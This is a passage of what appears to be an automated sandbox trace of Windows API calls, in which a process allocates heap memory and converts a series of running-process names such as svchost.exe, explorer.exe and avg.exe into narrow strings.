(HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88f18) returned 1 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88f18 [0033.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88f18) returned 1 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9ac98 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ef28 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88f18 [0033.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiodg.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiodg.exe", cchWideChar=11, lpMultiByteStr=0xf88bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiodg.exe", lpUsedDefaultChar=0x0) returned 11 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88f60 [0033.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88f60) returned 1 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88f60 [0033.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88f60) returned 1 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9acf8 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7efb0 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88f60 [0033.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xf88bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88fa8 [0033.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88fa8) returned 1 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88fa8 [0033.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88fa8) returned 1 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9ad58 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f038 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88fa8 [0033.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xf88bb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88ff0 [0033.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88ff0) returned 1 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88ff0 [0033.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88ff0) returned 1 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9adb8 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f0c0 [0033.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88ff0 [0033.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dwm.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dwm.exe", cchWideChar=7, lpMultiByteStr=0xf88bb8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwm.exe", lpUsedDefaultChar=0x0) returned 7 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0033.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0033.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0033.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88b70) returned 1 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9ae30 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f1d0 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88b70 [0033.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0033.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer.exe", cchWideChar=12, lpMultiByteStr=0xf89038, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer.exe", lpUsedDefaultChar=0x0) returned 12 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88bb8) returned 1 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9ae90 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88bb8 [0033.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0033.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0xf89038, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spoolsv.exe", lpUsedDefaultChar=0x0) returned 11 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89080 [0033.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89080) returned 1 [0033.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89080 [0033.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89080) returned 1 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9aef0 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89080 [0033.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0033.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0xf89038, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskhost.exe", lpUsedDefaultChar=0x0) returned 12 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf890c8 [0033.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf890c8) returned 1 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf890c8 [0033.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf890c8) returned 1 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9af50 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf890c8 [0033.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0033.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xf89038, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89110 [0033.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89110) returned 1 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89110 [0033.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89110) returned 1 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9afb0 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f3f0 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89110 [0033.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskeng.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0033.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskeng.exe", cchWideChar=11, lpMultiByteStr=0xf89038, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskeng.exe", lpUsedDefaultChar=0x0) returned 11 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89158 [0033.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89158) returned 1 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89158 [0033.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89158) returned 1 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9b010 [0033.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f478 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89158 [0033.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0033.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0xf89038, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskhost.exe", lpUsedDefaultChar=0x0) returned 12 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf891a0 [0033.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf891a0) returned 1 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf891a0 [0033.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf891a0) returned 1 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9b070 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f500 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf891a0 [0033.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0033.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xf89038, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf891e8 [0033.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf891e8) returned 1 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf891e8 [0033.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf891e8) returned 1 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9b0d0 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f588 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf891e8 [0033.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0033.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc.exe", cchWideChar=10, lpMultiByteStr=0xf89038, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppsvc.exe", lpUsedDefaultChar=0x0) returned 10 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89230 [0033.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89230) returned 1 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89230 [0033.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89230) returned 1 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9b130 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f610 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89230 [0033.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0033.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xf89038, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0033.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89278 [0033.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89278) returned 1 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89278 [0033.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89278) returned 1 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9b190 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89278 [0033.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0033.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati.exe", cchWideChar=7, lpMultiByteStr=0xf89038, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati.exe", lpUsedDefaultChar=0x0) returned 7 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf892c0 [0033.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf892c0) returned 1 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf892c0 [0033.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf892c0) returned 1 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9b1f0 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f720 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf892c0 [0033.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nv-world.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0033.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nv-world.exe", cchWideChar=12, lpMultiByteStr=0xf89038, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nv-world.exe", lpUsedDefaultChar=0x0) returned 12 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89308 [0033.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89308) returned 1 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89308 [0033.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89308) returned 1 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9b250 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f7a8 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89308 [0033.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="essence.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89038 [0033.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="essence.exe", cchWideChar=11, lpMultiByteStr=0xf89038, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="essence.exe", lpUsedDefaultChar=0x0) returned 11 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89350 [0033.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89038) returned 1 [0033.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89350) returned 1 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89350 [0033.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89350) returned 1 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x58) returned 0xf9b2b0 [0033.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f830 [0033.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="garage encryption schema.exe", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="garage encryption schema.exe", cchWideChar=28, lpMultiByteStr=0xf89038, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="garage encryption schema.exe", lpUsedDefaultChar=0x0) returned 28 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hepatitis.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hepatitis.exe", cchWideChar=13, lpMultiByteStr=0xf89038, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hepatitis.exe", lpUsedDefaultChar=0x0) returned 13 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lies.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lies.exe", cchWideChar=8, lpMultiByteStr=0xf89038, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lies.exe", lpUsedDefaultChar=0x0) returned 8 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="april_other.exe", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="april_other.exe", cchWideChar=15, lpMultiByteStr=0xf89038, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="april_other.exe", lpUsedDefaultChar=0x0) returned 15 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="avg.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="avg.exe", cchWideChar=7, lpMultiByteStr=0xf89038, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="avg.exe", lpUsedDefaultChar=0x0) returned 7 [0033.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="configuration smoking.exe", 